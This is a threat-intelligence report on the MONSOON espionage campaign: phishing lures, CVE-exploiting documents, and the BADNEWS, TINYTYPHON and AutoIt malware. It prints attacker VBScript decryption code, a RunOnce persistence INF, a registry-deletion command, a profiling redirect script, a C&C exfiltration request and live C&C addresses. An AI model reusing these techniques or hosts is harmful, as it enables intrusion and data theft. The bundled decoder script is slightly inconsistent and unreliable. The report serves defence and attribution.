MONSOON –
ANALYSIS OF AN
APT CAMPAIGN

ESPIONAGE AND DATA LOSS UNDER THE COVER
OF CURRENT AFFAIRS

WRITTEN BY ANDY SETTLE, NICHOLAS GRIFFIN, ABEL TORO

Forcepoint™ Security Labs™ | Special Investigations
"Our MONSOON investigation has uncovered what is clearly a concerted and persistent campaign to steal sensitive data from a variety of critical sources. The use of both current and topical themes [illustrated above] as lures, not only indicates the precision level of targeting but also the targeting decision process itself."

Andy Settle Head of Special Investigations
# TABLE OF CONTENTS

- Executive Summary ................................................................. 4
- Acknowledgements ...................................................................... 4
- Summary of Observations .......................................................... 5
  - Key Features ............................................................................. 5
    - Adversary ............................................................................. 5
    - Intent ................................................................................... 5
    - Infrastructure ....................................................................... 5
    - Capability ............................................................................ 5
    - Victims ............................................................................... 5
    - Victims of Interest ............................................................... 5
    - Victim of Opportunity ......................................................... 5
    - Timeframe .......................................................................... 5
- Technical Analysis ....................................................................... 6
  - Initial Discovery ....................................................................... 6
    - Pivoting via VirusTotal ....................................................... 6
    - Cyber Crime Bill ................................................................... 6
    - Pivoting by Author ............................................................... 6
    - Distribution Mechanism ...................................................... 9
- E-Mail Lures & Malware Distribution .......................................... 10
  - Email Lures ............................................................................. 10
- Topical News Lures .................................................................... 12
  - News Site .............................................................................. 12
  - Google Plus ......................................................................... 13
  - Facebook .............................................................................. 14
  - Twitter Account .................................................................... 15
- Malware Analysis ........................................................................ 16
  - Weaponised Documents ........................................................ 16
    - Exploitation of Known Vulnerabilities .................................. 16
    - BADNEWS Weaponised Documents ..................................... 17
    - AutoIt Backdoor & Unknown Logger Weaponised Documents .. 19
    - TINYTYPHON Weaponised Documents ................................ 19
- Potential Silverlight Exploit ......................................................... 20
  - Silverlight Profiling ............................................................... 21
- BADNEWS Malware ................................................................... 22
  - DLL Side-Loading .................................................................. 22
  - Persistence ............................................................................ 22
  - C&C Channels ...................................................................... 23
  - C&C Mechanism .................................................................... 26
  - badnews_decoder.py ............................................................. 27
  - Command Set ........................................................................ 28
  - Keylogger ............................................................................ 29
  - Document Crawler ............................................................... 29
<table>
<thead>
<tr>
<th>Topic</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>Window Message Processor</td>
<td>29</td>
</tr>
<tr>
<td>Updater VBScript</td>
<td>30</td>
</tr>
<tr>
<td>AutoIt Backdoor</td>
<td>30</td>
</tr>
<tr>
<td>Decompiled AutoIt Script</td>
<td>31</td>
</tr>
<tr>
<td>Document Exfiltration</td>
<td>31</td>
</tr>
<tr>
<td>Privilege Escalation</td>
<td>31</td>
</tr>
<tr>
<td>PowerShell Second Stage &amp; Metasploit Meterpreter</td>
<td>32</td>
</tr>
<tr>
<td>Unknown Logger Public V 1.5</td>
<td>37</td>
</tr>
<tr>
<td>Configuration</td>
<td>40</td>
</tr>
<tr>
<td>TINYTYPHON</td>
<td>41</td>
</tr>
<tr>
<td>Configuration &amp; Persistence</td>
<td>41</td>
</tr>
<tr>
<td>Document Crawler</td>
<td>42</td>
</tr>
<tr>
<td>Victims</td>
<td>44</td>
</tr>
<tr>
<td>Attribution</td>
<td>47</td>
</tr>
<tr>
<td>Victims</td>
<td>47</td>
</tr>
<tr>
<td>Adversaries</td>
<td>47</td>
</tr>
<tr>
<td>Cui Bono?</td>
<td>47</td>
</tr>
<tr>
<td>Infrastructure</td>
<td>48</td>
</tr>
<tr>
<td>Indicators of Compromise</td>
<td>49</td>
</tr>
<tr>
<td>Lure URLs</td>
<td>49</td>
</tr>
<tr>
<td>Weaponised Document Hashes SHA1</td>
<td>49</td>
</tr>
<tr>
<td>BADNEWS Malware Hashes SHA1</td>
<td>50</td>
</tr>
<tr>
<td>AutoIt Malware Hashes SHA1</td>
<td>50</td>
</tr>
<tr>
<td>TINYTYPHON Malware Hashes SHA1</td>
<td>50</td>
</tr>
<tr>
<td>Unknown Logger Malware Hashes SHA1</td>
<td>50</td>
</tr>
<tr>
<td>Miscellaneous Samples SHA1</td>
<td>50</td>
</tr>
<tr>
<td>BADNEWS C&amp;C</td>
<td>50</td>
</tr>
<tr>
<td>AutoIt C&amp;C</td>
<td>51</td>
</tr>
<tr>
<td>Meterpreter C&amp;C</td>
<td>51</td>
</tr>
<tr>
<td>TINYTYPHON C&amp;C</td>
<td>51</td>
</tr>
<tr>
<td>Names of Lure &amp; Weaponised Files</td>
<td>51</td>
</tr>
<tr>
<td>About Us</td>
<td>55</td>
</tr>
<tr>
<td>Figures</td>
<td>56</td>
</tr>
<tr>
<td>References</td>
<td>57</td>
</tr>
</tbody>
</table>
EXECUTIVE SUMMARY

MONSOON is the name given to the Forcepoint Security Labs™ investigation into an ongoing espionage campaign that the Special Investigations team have been tracking and analysing since May 2016. The overarching campaign appears to target both Chinese nationals within different industries and government agencies in Southern Asia. It appears to have started in December 2015 and is still ongoing as of July 2016.

Amongst the evidence gathered during the MONSOON investigation were a number of indicators which make it highly probable that this adversary and the OPERATION HANGOVER [1], [2] adversary are one and the same. These indicator include the use of the same infrastructure for the attacks, similar Tactics, Techniques and Procedures (TTPs), the targeting of demographically similar victims and operating geographically within the Indian Subcontinent.

The malware components used in MONSOON are typically distributed through weaponised documents sent through e-mail to specifically chosen targets. Themes of these documents are usually political in nature and taken from recent publications on topical current affairs. Several malware components have been used in this operation including Unknown Logger Public, TINYYPHON, BADNEWS, and an Autol [3] backdoor.

BADNEWS is particularly interesting, containing resilient command-and-control (C&C) capability using RSS feeds, Github, forums, blogs and Dynamic DNS hosts.

This whitepaper provides an in-depth understanding and insight into the actors and their campaign. It includes detailed analysis and findings, previously undocumented malware components, victims, and infrastructure involved.

ACKNOWLEDGEMENTS

We would like to acknowledge both Kaspersky and Cymmetria [4] who have published their own research on the groups referred to as "PATCHWORK" and "DROPPER ELEPHANT". We also recognise the analysis by Blue Coat in tracking OPERATION HANGOVER in the past [1].

We would like to thank the wider Forcepoint Security Labs team for their help with our investigation. We would also like to give special thanks to Ran Mosessco for assisting with specific analysis.

---

1 SEE: “Uncertainty Yardstick”, Page 3-32

“More information is always better than less. When people know the reason things are happening, even if it's bad news, they can adjust their expectations and react accordingly. Keeping people in the dark only serves to stir negative emotions”.

Simon Sinek
**SUMMARY OF OBSERVATIONS**

<table>
<thead>
<tr>
<th>Stage 1 - Recon</th>
<th>“Customer” provided target list?</th>
<th>Thematic and regional recon themselves?</th>
</tr>
</thead>
<tbody>
<tr>
<td>Stage 2 - Lure</td>
<td>Targeted email</td>
<td>Google+ Facebook Twitter chinastrat[.com]</td>
</tr>
<tr>
<td>Stage 3 - Redirect</td>
<td>N/A</td>
<td></td>
</tr>
<tr>
<td>Stage 4 - Exploitation</td>
<td>Weaponized documents</td>
<td>Silverlight exploit UAC bypass</td>
</tr>
<tr>
<td>Stage 5 - Dropper</td>
<td>BADNEWS TINYTYPOHON Autolt Backdoor Unknown Logger Metasploit Metpreter</td>
<td></td>
</tr>
<tr>
<td>Stage 6 - Call Home</td>
<td>RSS GitHub Forums News Articles Dynamic DNS hosts</td>
<td></td>
</tr>
<tr>
<td>Stage 7 - Data Loss</td>
<td>Sensitive Documents</td>
<td></td>
</tr>
</tbody>
</table>

**KEY FEATURES**

**Adversary.** Strong indication that this is conducted by the OPERATION HANGOVER group [1].

This group has been active since at least 2010 [2].

**Intent.** Data Exfiltration.

**Infrastructure.** Non-traditional resilient and obscure C&C. Including GitHub, forums, news items and RSS feeds.

**Capability.** BADNEWS and TINYTYPOHON malware.


**CVE Exploitation.**

Current News Lures – Lures via email with tracking images.


**Victims.** Over 110 different victim countries and 6,300 victim IP addresses.

**Victims of Interest.** Government Agencies, Armed Forces, Embassies: Sri Lanka, Ceylon, South Korean,

**Victim of Opportunity.** Those with passing interest in Chinese military strategy being ‘snared’ by the lure website. Majority in China (61% of all victims)

**Timeframe.** Between December 2015 to July 2016
INITIAL DISCOVERY

Pivoting via VirusTotal. Virus Total² (VT) Intelligence queries are often constructed in order to hunt for new, unusual and interesting malware as part of the routine work performed by the Special Investigations team. The initial discovery of MONSOON stemmed from one of these queries. During such activities, an RTF document was identified that warranted further investigation.

Cyber Crime Bill. A specific document was singled-out for analysis via VT for number of reasons. These included: a low detection rate, a low number of submissions, an interesting set of default languages including US English, Saudi Arabic and PRC Chinese, that it exploited a known vulnerability (CVE-2015-1641 [5]) and that it had filenames with political themes including “Microsoft Word - Telecommunications Policy - APPROVED.DOCX” and "Cyber_Crime_bill.doc”³.

This document was opened in a virtualised lab environment and was seen to “drop” malware. By analysing this malware is was possible to determine that it was not of a known or documented malware family. It contained interesting functionality that warranted further investigation (see below). This malware was named by Special Investigations as BADNEWS after its ability to use news sites and blogs to obtain its C&C address.

Pivoting by Author. By exploiting the document information found in the original malicious RTF, the name of the user who last modified the document was identified:

PRELIMINARY

…

(1) This Act may be called the Prevention of Electronic Crimes Act, 2015.

(2) It extends to the whole of Pakistan.

(3) It shall apply to every citizen of Pakistan wherever he may be, and also to every other person for the time being in Pakistan.

(4) It shall come into force at once.

…

Figure 2 – Cyber_Crime_Bill.doc (Excerpt)

² https://www.virustotal.com/
³ https://www.virustotal.com/en/file/34cdfc67942060ba30c1b9ac1db9bd042f0f8e487b805b8a3e1935b4d2508db6/analysis/
Using another VT search, the following 6 documents matching this author information were found:

<table>
<thead>
<tr>
<th>File Size</th>
<th>1407 kB</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Type</td>
<td>RTF</td>
</tr>
<tr>
<td>File Type Extension</td>
<td>rtf</td>
</tr>
<tr>
<td>MIME Type</td>
<td>text/rtf</td>
</tr>
<tr>
<td>Title</td>
<td>Microsoft Word - Telecommunications Policy - APPROVED.DOCX</td>
</tr>
<tr>
<td>Author</td>
<td>mhjaved</td>
</tr>
</tbody>
</table>

**Last Modified By**: ayyo

- **Create Date**: 2016:04:20 12:58:00
- **Modify Date**: 2016:04:20 12:58:00
- **Revision Number**: 2
- **Total Edit Time**: 0
- **Pages**: 12
- **Words**: 7076
- **Characters**: 40335
- **Company**: Microsoft
- **Characters With Spaces**: 47317
- **Internal Version Number**: 32859

Figure 3 – EXIF info for Cyber_Crime_Bill.docx

<table>
<thead>
<tr>
<th>File Size</th>
<th>1407 kB</th>
</tr>
</thead>
<tbody>
<tr>
<td>File Type</td>
<td>RTF</td>
</tr>
<tr>
<td>File Type Extension</td>
<td>rtf</td>
</tr>
<tr>
<td>MIME Type</td>
<td>text/rtf</td>
</tr>
<tr>
<td>Title</td>
<td>Microsoft Word - Telecommunications Policy - APPROVED.DOCX</td>
</tr>
<tr>
<td>Author</td>
<td>mhjaved</td>
</tr>
</tbody>
</table>

**Last Modified By**: ayyo

- **Create Date**: 2016:04:20 12:58:00
- **Modify Date**: 2016:04:20 12:58:00
- **Revision Number**: 2
- **Total Edit Time**: 0
- **Pages**: 12
- **Words**: 7076
- **Characters**: 40335
- **Company**: Microsoft
- **Characters With Spaces**: 47317
- **Internal Version Number**: 32859

Figure 4 – Search VT by Author Metadata

The low number of results, similar file sizes and the same CVE exploitation gave a high level of certainty that these documents belong to the same actor.
The VT reports showed known names of some of these samples. One of the samples used genuine content from the National Institute for Defence Studies Japan document NIDS China Security Report 2016⁴.

The specific filename used for this sample was "china_report_EN_web_2016_A01.doc". Using Google to search for this specific filename returned three hits. Two of the results were for VT and another for a report on URLQuery.net.

One of the VT results showed that the file was provided from a web server located on a host on IP address 37.58.60.195 and that it had also provided a number of other, similar files⁵. The other VT results referred to the analysis of the malicious file⁶.

---

**Figure 5 – Lure Document Cover**

<table>
<thead>
<tr>
<th>DATE</th>
<th>TIME</th>
<th>URL</th>
</tr>
</thead>
</table>

**Figure 6 – Lures from 37.58.60.195**

---


⁵ [https://www.virustotal.com/en/ip-address/37.58.60.195/information/](https://www.virustotal.com/en/ip-address/37.58.60.195/information/)

Distribution Mechanism. The final Google search result was a report generated by the URLQuery.net site:

```
GET /jjoaci@yjxwamyxmacxjhyu/click.php HTTP/1.1
Host: t.ymlp50.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20100109 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
```

```
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Server: nginx
Date: Fri, 15 Apr 2016 10:25:12 GMT
Transfer-Encoding: chunked
```

```
GET /index.php?f=china_report_EN_web_2016_A01.doc HTTP/1.1
Host: www.cm1l11.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20100109 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
```

```
HTTP/1.1 200 OK
Content-Type: application/msword
Date: Fri, 15 Apr 2016 10:24:57 GMT
Server: Apache/2.4.9 (Win32) PHP/5.5.12
X-Powered-By: PHP/5.5.12
Pragma: public
Expires: 0
Content-Disposition: File Transfer
Content-Transfer-Encoding: binary
Content-Length: 1724199
Referrer: 10url-lite.php
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
```

Figure 7 – URLQuery.net

The site t.ymlp50[.com] is a legitimate web and e-mail marketing service. It is owned and operated by the Belgian company Your Mailing List Provider (YMLP). Further Google searches of other document names revealed similar redirection chains using the same service. Consequently, it is reasonable to conclude that a number of “weaponised” documents were delivered using YMLP.
Email Lures. Using the information from the initial discoveries and correlating against the 'known bad' data collected by Forcepoint's Triton® AP-Email it was possible to track down at least some of the targeted e-mail lures used by the HANGOVER group in the MONSOON campaign.

The e-mail themes are typically current political events that may be of interest to the target recipient. It was possible to identify several Chinese politically themed e-mails linking to weaponised documents. A redacted example e-mail can be seen below.

China’s rapid ascent to great power status has, more than any other international development, raised concerns about the future of the liberal international order. Now, it seems, world order is under threat not least from China’s rising power. While Beijing has thus far avoided active military aggression and refrained from exclusionary economic arrangements, American policymakers worry quite openly about China’s challenge to the underlying rules of the road.

They hope that Beijing will embrace the existing pillars of global order and even work to support them; they fear that China will prove revisionist, seeking to undermine the rules based order and fashion an illiberal alternative that excludes the United States. A Brexit would also be a blow for ...

The Report also covers the following:

The China Syndrome by Richard Fontaine and Mira Rapp-Hooper
China’s New Legalsism by David K. Schneider
The Maiden Irregulars by Alexander Clapp
The Sound of Munich by David A. Bell
Bracing for Brexit by Peter Harris
Strategic Amnesia and ISIS by David V. Gloe
The Post-Imperial Moment by Robert D. Kaplan
Trotsky’s Troubadours by Jacob Heilbrunn
Burmese Daze by Christian Caryl
Old Fritz by William Anthony Hay

Download the complete report

Figure 8 – Known Bad Email Lure
Using YMLP, the threat actor is faking the sender using this service and embedding a link to a weaponised document in the e-mail body.

Examples of a number of email details and embedded URLs can be seen in the table below.

<table>
<thead>
<tr>
<th>UTC Time</th>
<th>Subject</th>
<th>Sender</th>
<th>Embedded URL to Malicious Document</th>
</tr>
</thead>
<tbody>
<tr>
<td>6/27/2016</td>
<td>Stretching and Exploiting Thresholds for High Order War</td>
<td><a href="mailto:mailreturn@smtp1.ymlpsrvr.net">mailreturn@smtp1.ymlpsrvr.net</a></td>
<td>hxxp://www.newsnstat[.com]/index.php?f=China_plan_to_domin ate_South_China_Sea_and_beyond.doc</td>
</tr>
<tr>
<td>5/20/2016</td>
<td>Limits of Law in the South China Sea</td>
<td><a href="mailto:mailreturn@smtp6.ymlpsrvr.net">mailreturn@smtp6.ymlpsrvr.net</a></td>
<td>hxxp://www.newsnstat[.com]/index.php?f=Limits_of_Law_in_the_South_China_Sea.pps</td>
</tr>
</tbody>
</table>

Figure 9 – YMLP Lures
TOPICAL NEWS LURES

News Site. The attackers are also operating a fake political news site at chinastrat[.]com.

The “downloads” section of this website contains similarly weaponised documents to the ones sent by e-mail and these documents drop the same malware families.

It is reasonable to suggest that the login credentials from anybody who registers on the site are also harvested.

Figure 10 – China Strat Screen Shot
Google Plus. The actors have been operating a Google Plus account since December 2014. This account is used to post links to the actors' fake news site.

Figure 11 – Lure Google+ Screen Shot
Facebook. The actors operate a Facebook account. This account is also used to post links to the actors’ fake news site.

Figure 12 – Lure Facebook Screen Shot
Twitter Account. The actors have operated a Twitter account since December 2014 and use this in a similar manner to their Google+ and Facebook account.

Figure 13 – Lure Twitter Screen Shot
WEAPONISED DOCUMENTS

Exploitation of Known Vulnerabilities. Several document types and document exploits have been used in the MONSOON campaign to deliver various malware components. It is reasonable to suggest that the actors are using a malicious document builder to quickly weaponise legitimate documents.

The following vulnerabilities have been identified within the attackers' documents:

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2015-1641</td>
<td>Microsoft Office Memory Errors Let Remote Users Execute Arbitrary Code and Input Validation Flaw Permits Cross-Site Scripting Attacks</td>
</tr>
</tbody>
</table>

Figure 14 – Exploited CVEs


**BADNEWS Weaponised Documents.** The BADNEWS malware is typically packaged into a malicious document via an encrypted binary blob within that document. This binary blob often contains a legitimate decoy document that is shown to the user. On other occasions the decoy document is downloaded directly.

CVE-2015-1641 has been observed as being exploited to drop BADNEWS. When the document exploit is triggered, the shellcode will drop the binary blob into the user’s `%temp%` folder along with an encoded VBScript:

<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>~$Normal.dat</td>
<td>604 KB</td>
<td>DAT File</td>
</tr>
<tr>
<td>Normal.domx</td>
<td>7 KB</td>
<td>VBScript Encoded Script File</td>
</tr>
</tbody>
</table>

*Figure 15 – Binary Blob Dropped to %temp%*

The encoded VBScript uses a file extension which is not associated, by default, as being a VBScript file. The extensions `.domx` and `.lgx` have been observed. The shellcode is responsible for adding a new file association for the file extension which specifies that they should be interpreted as an encoded VBScript. Finally, the shellcode executes the encoded VBScript file which will extract the encrypted files from the binary blob, show the decoy document (if there is one), and execute the malware.

The VBScript hard-coded sizes of the files to extract from the binary blob:

```vbnet
fldrl = env("temp")
dpth = fldrl & "\PakGovtEmpSalary.doc"
sfile = fldrl & "\DMIBD.tmp"

asize = fso.GetFile(sfile).Size
s1 = 73216
s2 = 348160
s3 = 34736
```

*Figure 16 – VB Extract of Blob*
The decryption routine uses the encryption key "ludos" to decrypt 32-byte chunks of the embedded files:

```vbnet
Function dcrypt(strEncrypt)
    Dim strKey, InSeed, Strtmp
    Dim x, i, tmp

    For i = 1 To Len(strEncrypt) Step 32
        x = Mid(strEncrypt, i, 32)
        tmp = tmp & Decrypt(x, "ludos")
    Next

    dcrypt = tmp
End Function

Function Decrypt(str, key)
    Dim lenKey, KeyPos, LenStr, x, Newstr, DecCharNum

    Newstr = ""
    lenKey = Len(key)
    KeyPos = 1
    LenStr = Len(str)

    str = StrReverse(str)
    For x = LenStr To 1 Step -1
        DecCharNum = Asc(Mid(str, x, 1)) - Asc(Mid(key, KeyPos, 1)) + 256
        Newstr = Newstr & chr(DecCharNum Mod 256)
        KeyPos = KeyPos + 1
        If KeyPos > lenKey Then KeyPos = 1
    Next
    Newstr = StrReverse(Newstr)
    Decrypt = Newstr
End Function
```

Figure 17 – VB Decryption of Embedded Files

Our analysis of BADNEWS can be found later in this document [Page: 22]

---

7 http://starwars.wikia.com/wiki/Ludos
**Autolit Backdoor & Unknown Logger Weaponised Documents.** The majority of weaponised documents drop an Autolit backdoor. Documents exploiting CVE-2014-6352 have been observed installing the malware via the following INF:

```plaintext
[Version]
Signature = "$CHICAGO$"
class=61883
ClsGuid={2E87RBCD-7488-12T1-QYXX-74521ACV1AS4}
DriverVer=0/21/2006,61.7600.16385
[DestinationDirs]
DefaultDestDir = 1
[DefaultInstall]
AddReg = RxStart
[RxStart]
HKLM,Software\Microsoft\Windows\CurrentVersion\RunOnce,Install,,%1\%sysvolinfo.exe
```

The malware executable name varies. The following are some of the names we have observed:

- sysvolinfo.exe
- svchost.exe
- rar.exe
- 360configuration_patch_update_2016v4.exe

The Autolit script is always roughly the same, but some versions contain less functionality. A full analysis of the Autolit backdoor can be found later in this document [Page: 30].

Malware known as Unknown Logger has also been dropped by the same sort of weaponised document. A full analysis of Unknown Logger can also be found later in this document [Page: 37].

**TINYTYPHON Weaponised Documents.** A third malware used in MONSOON is a small backdoor based on publicly available code from the MyDoom [6] worm. This malware will crawl mapped drives for documents and upload them to its C&C. We have seen this dropped by an RTF exploiting CVE-2012-0158 under the name "DPP_INDIA_2016.doc". The document contains shellcode which drops a file under %temp%\svchost.exe and then attempts to disable Word's recovery features via the following commands:

```
    cmd.exe /c reg delete "HKCU\Software\Microsoft\Office\14.0\Word\Resiliency" /F
    cmd.exe /c reg delete "HKCU\Software\Microsoft\Office\12.0\Word\Resiliency" /F
```

The svchost.exe dropped by the document executes an embedded, base64 encoded malware component that we have named "TINYTYPHON". Our analysis of this malware can be found later in this document [Page: 41].

---

8 [http://starwars.wikia.com/wiki/Ludos](http://starwars.wikia.com/wiki/Ludos)
9 SHA1: 411387df2145039fc601bf38192b721388cc5141
The weaponised document sites such as cnmilit.com and newsnstat.com will attempt to redirect the user to lite.php after 10 seconds:

```
GET /?f-Chine_plan_to_dominate_South_China_Sea_and_beyond.doc HTTP/1.1
Accept: image/gif, image/jpeg, image/png, image/svg+xml, application/x-shockwave-flash,
application/xml+xml, application/x-ms-xbap, application/x-ms-application, */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322;
.NET4.0c; .NET4.0E; .NET CLR 2.0.50727)
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: newsnstat.com
```

HTTP/1.1 200 OK
Date: Thu, 30 Jun 2016 13:42:07 GMT
Server: Apache
X-Powered-By: PHP/5.1.12
Pragma: public
Expires: 0
Cache-Control: public
Content-Type: application/msword
Content-Disposition: File Transfer
filename="China_plan_to_dominate_South_China_Sea_and_beyond.doc"
Content-Transfer-Encoding: binary
Content-Length: 0

It was not possible to access cnmilit.com as of May 27, 2016. It was therefore not possible to analyse the pages served. However, it was possible to browse to lite.php on newsnstat.com. The content of this page always remained the same over the duration of the investigation.
Silverlight Profiling. The code profiles whether a system has Microsoft Silverlight installed. The site then requests `lite.php?name=` where the value of `name` is 'true' or 'false' depending on whether Silverlight is installed and accessible or not. No further content was served from `lite.php` during the investigation.

A likely scenario is that the attackers may have wanted to use a Silverlight exploit to execute the malware in the case of a user who does not open or get successfully exploited by the weaponised document. This could have been intended as an exploitation of something like CVE-2016-0034 which is known to have been adopted by exploit kits back in February 2016 and which pre-dates MONSOON.

```html
<script>function hasSilverlightPlugin() {
  var slplugin = false;
  var browser = navigator.appName; // Get the browser type
  if (browser == 'Microsoft Internet Explorer') {
    try {
      var slControl = new ActiveXObject('AgControl.AgControl');
      if (slControl) {
        slplugin = true;
      }
    } catch (e) { }
  }
  else {
    // Netscape, FireFox, Google chrome etc
    try {
      if (navigator.plugins['Silverlight Plug-In']) {
        slplugin = true;
      }
    } catch (e) { }
  }
  return slplugin;
}
var javascriptVariable = hasSilverlightPlugin();
window.location.href = 'lite.php?name=' + javascriptVariable;
</script>
```

Figure 19 – Silverlight Profiling
BADNEWS MALWARE

The BADNEWS malware is capable of arbitrary command execution, screenshots, self-updating, downloading and executing files, and directory listings. The name was given due to its use of RSS feeds, forums, blogs and Dynamic DNS providers for its C&C infrastructure.

BADNEWS uses a DLL side-loading technique with a signed Java binary in order to evade security solutions. It is a first stage malware that is likely to receive second stage malware components if the target is of interest, although we did not observe this behaviour.

**DLL Side-Loading.** The BADNEWS DLL is typically side-loaded into a legitimate signed Java executable. A specific weaponised document analysed\(^\text{10}\) drops a binary blob and an encoded VBScript file which then extracts a decoy document along with the following 3 files:

- MicroScMgmt.exe
- msvcr71.dll
- jli.dll

*MicroScMgmt.exe* is a renamed version of the legitimate Java Runtime's 6.0.390.4 binary named *javarmi.exe* and is signed by Sun Microsystems. This application requires the legitimate *msvcr71.dll* and also requires a DLL named *jli.dll*. However, the *jli.dll* here contains the BADNEWS malware.

When *MicroScMgmt.exe* is executed, it will load up the malicious *jli.dll* and ultimately call the `JLI_WildcardExpandClasspath_0` export in the DLL. At this point the BADNEWS code will take over and begin performing its malicious routines. This technique is a stealth tactic to evade anti-malware solutions which are notoriously weak at detecting side-loaded malware.

The malware will spawn 2 threads, one to perform key-logging and one to crawl the local hard-drives for document files.

**Persistence.** BADNEWS installs a registry key under `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run` in order to remain persistent on the system.

![Registry Key](image)

10 SHA1: 11064dcef86ac1d94c170b24215854efb8aad542
C&C Channels. BADNEWS is typically built with several hard-coded channels which it can use to obtain commands or change its C&C. These C&C channels include RSS feeds, Github, forums, blogs and Dynamic DNS hosts.

In the sample analysed, the malware had several hard-coded C&C channels although some were corrupted and did not work correctly:

hxxp://feeds.rapidfeeds.com/81913/
http://raw.githubusercontent.com/azeemkhan89/cartoon/master/cart.xml
http://www.webrss.com/createfeed.phpfeedid=47448
http://www.webrss.com/createfeed.phpfeedid=47449
http://www.travelhoneymoon.wordpress.com/2016/03/30/tips-to-how-to-feel-happy
http://overthemountains.weebly.com/trekking-lovers
http://tariqj.crabdance.com/tesla/ghsnls.php
http://javedtar.chickenkiller.com/tesla/ghsnls.php
http://asatar.ignorelist.com/tesla/ghsnls.php

The first 7 C&Cs are referred to by the malware as either a "blog" or a "feed". These channels are only used to tell the malware where its real C&C is. The last 3 Dynamic DNS channels are back-up C&Cs in case it is not able to obtain a C&C address from one of the blogs or feeds.

The Dynamic DNS back-up C&Cs typically use the same “ghsnls.php” filename but the directory name changes for different builds of the malware. The directory may indicate a campaign identifier or a code-word for the target victim of the malware. We have seen the following directories used:

- tesla
- Tussmal
- Mussmal
- quantum
- yumhong
When a C&C is obtained from a blog or feed, it is extracted from the page by searching for "{" in the content. A GitHub example\textsuperscript{11} is below:

$$\text{Figure 21 – GitHub Command Channel}$$

Another example taken from a comment by a user called "Zubaid\textsuperscript{12}" posted on chinasmack[.com]:

$$\text{Figure 22 – Chinasmack[.com] Command Channel}$$

\textsuperscript{11} \url{https://github.com/azeemkhan89/}

\textsuperscript{12} \url{https://en.wikipedia.org/wiki/Zubaid}
And a final example taken from forum.china.org.cn:

The content after "{" is the C&C address which is encrypted in the same manner as described below. Of note is that this text on the forum page is invisible, as the author has set it to white text on a white background.
C&C Mechanism. Once BADNEWS has decided which C&C address to communicate with it will send off some system information and await a command to execute. A unique identifier is computed for the victim which is based on the tick count from the victim machine when the malware was executed. This ID is saved in the file "%temp\T89.dat".

POST http://85.25.79.230/tesla/ghsnls.php HTTP/1.1
Accept: application/x-www-form-urlencoded
Content-Type: application/x-www-form-urlencoded
User-Agent: User-Agent:Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.75 Safari/537.1
Host: 85.25.79.230
Content-Length: 249
Cache-Control: no-cache

esmqss=**redacted**&btcbumegy=**redacted**&pxckhj=**redacted**&xyvqq=**redacted**
The encryption mechanism used for all C&C data is done by taking each byte and performing a ROR by 3 bits and then an XOR by 0x23. The result of this is then converted into a hexadecimal representation of the bytes, and finally encoded into base64.

Below is a Python script written to decrypt the data:

```
badnews_decoder.py

import sys, getopt
import base64

# Rotate left: 0b1001 -> 0b0011
rol = lambda val, r_bits, max_bits: \
    ((val << r_bits%max_bits) & (2**max_bits-1)) | \ 
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

# Rotate right: 0b1001 -> 0b1100
ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ 
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

if len(sys.argv) != 2:
    exit("Usage: badnews_decoder.py <string>")

data = sys.argv[1]

# Print original data input
print "[1] Original: " + data

# Print the base64 decoded hex byte string
print "[2] Base64 dec: " + data

# Decode the hex bytes into binary data
data = data.decode("hex")
decdata = ''

# XOR each byte by 0x23 and rotate left by 3 bits
for x in range(len(data)):
    c = ord(data[x])
    c ^= 0x23
    c = rol(c, 3, 8)
    decdata += chr(c)

# Null terminate
decdata += '\x00'

# Print the final decrypted data
print "[3] Decrypted: " + decdata
```

An example of the input and output for this script:

```
>badnews_decoder.py
MmVhZGFkMmQ2NGM2YzY4NWU2NyU4NWE1ZTywNDI0ZTI1NTI0YzY4ZWFkNmMyZGV1NGZjZGM2Y2YwZmFkOGZ1NjJkMmUyZDIz==
[1] Original: MmVhZGFkMmQ2NGM2YzY4NWU2NyU4NWE1ZTywNDI0ZTI1NTI0YzY4ZWFkNmMyZGV1NGZjZGM2Y2YwZmFkOGZ1NjJkMmUyZDIz==
[2] Base64 dec: 2eadad2d64c6c85e66585a5e60424e6e524c68ead6c2dee4fcdc6cf0fad8fe62d2e2d23
```
**Command Set.** After BADNEWS sends off the system information of the machine it will receive back a command. Most commands are in the format of "<cmd>:<encrypted-parameter>" where "<cmd>" is a plaintext command tag and "<encrypted-parameter>" is a parameter for the command encrypted with the algorithm previously described.

Listed below are supported command tags and their descriptions:

<table>
<thead>
<tr>
<th>CMD</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>shell</td>
<td>Download an EXE and inject it into a new process using process hollowing</td>
</tr>
<tr>
<td>link</td>
<td>Download an EXE and execute it via CreateProcess API</td>
</tr>
<tr>
<td>mod</td>
<td>Download a DLL from the URL specified and load it into the current process</td>
</tr>
<tr>
<td>upd</td>
<td>Download a new version of the malware and delete the old one via VBScript (see below)</td>
</tr>
<tr>
<td>dwd</td>
<td>Create an empty file in the %temp% folder and send to C&amp;C - possibly used for identifying the local system time</td>
</tr>
